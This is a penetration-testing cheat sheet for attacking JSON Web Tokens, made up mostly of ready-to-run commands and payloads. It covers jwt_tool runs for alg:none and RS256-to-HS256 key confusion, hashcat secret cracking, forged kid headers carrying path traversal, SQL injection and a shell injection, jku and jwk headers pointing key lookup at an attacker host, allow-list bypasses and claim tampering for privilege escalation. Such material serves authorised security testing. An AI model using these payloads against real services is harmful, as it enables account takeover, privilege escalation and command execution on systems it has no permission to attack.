JWT
Read the header first. It tells you which attack applies.
# https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py <JWT> -M pb # playbook: runs every common check
python3 jwt_tool.py <JWT> -X a # alg:none
python3 jwt_tool.py <JWT> -X k -pk pub.pem # key confusion
python3 jwt_tool.py <JWT> -C -d rockyou.txt # crack HS256Change algorithm to None
Sometimes APIs don’t check for JWT encryption. None algorithm allows an attacker to craft a malicious JWT token to escalate privileges.
B64 None: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0
Case variants get past naive blocklists, and the trailing dot still matters:
none None NONE nOnE
header.payload. ← keep the dot, drop the signatureRS256 → HS256 confusion
The server verifies with verify(token, key) and picks the algorithm from the token. Tell it the RSA public key is an HMAC secret.
# recover the public key from two tokens
python3 jwt_tool.py <JWT1> -X k
# or grab it from /jwks.json, the TLS cert, or the docs
openssl s_client -connect example.com:443 | openssl x509 -pubkey -noout > pub.pem
python3 jwt_tool.py <JWT> -X k -pk pub.pemHeader injection
kid, jku, x5u and jwk all tell the server where to get the key. All of them are attacker-controlled.
{"alg":"HS256","kid":"../../../../dev/null"} → key is empty string
{"alg":"HS256","kid":"/proc/sys/kernel/randomize_va_space"} → key is "2"
{"alg":"RS256","jku":"https://oob.tld/jwks.json"}
{"alg":"RS256","jwk":{"kty":"RSA","n":"...","e":"AQAB"}} → self-signedkid also lands in SQL and in shell:
{"kid":"x' UNION SELECT 'secret'-- "}
{"kid":"x|whoami"}For jku, check whether the allow-list can be fooled the same way an Open Redirect or SSRF filter can:
jku: https://example.com/.well-known/[email protected]/x.json
jku: https://example.com/redirect?url=https://oob.tld/x.jsonWeak secrets
HS256 with a guessable secret is still common.
hashcat -a 0 -m 16500 jwt.txt jwt.secrets.list
# https://github.com/wallarm/jwt-secretsAlso try: secret, changeme, the app name, the framework default, anything in the repo.
JWT Injection
Sometimes applications reflect data that is stored inside the token, try to create accounts with malicious payloads
Claims worth changing
sub user_id uid → another user
role scope groups → admin
aud → a different service that shares the key
iss → a tenant you control
exp nbf iat → removed entirely, still accepted?
jti → reuse a revoked oneRemoving exp rather than extending it catches servers that only validate the claim when present.
Checks people forget
- Does logout invalidate the token server-side, or just drop the cookie?
- Is the token still valid after a password change?
- Two tenants: does tenant A’s token work on tenant B’s endpoint?
- Is the same key used for access and refresh tokens?
alg: ES256withr=0, s=0(psychic signature, CVE-2022-21449 on Java 15-18)
Crack JWTs
https://github.com/mazen160/jwt-pwn
Tools
| URL | Description |
|---|---|
| https://github.com/ticarpi/jwt_tool | The one to reach for |
| https://token.dev/ | Decode / re-sign in the browser |
| https://github.com/PortSwigger/json-web-tokens | Burp extension |
| https://github.com/wallarm/jwt-secrets | Known default secrets |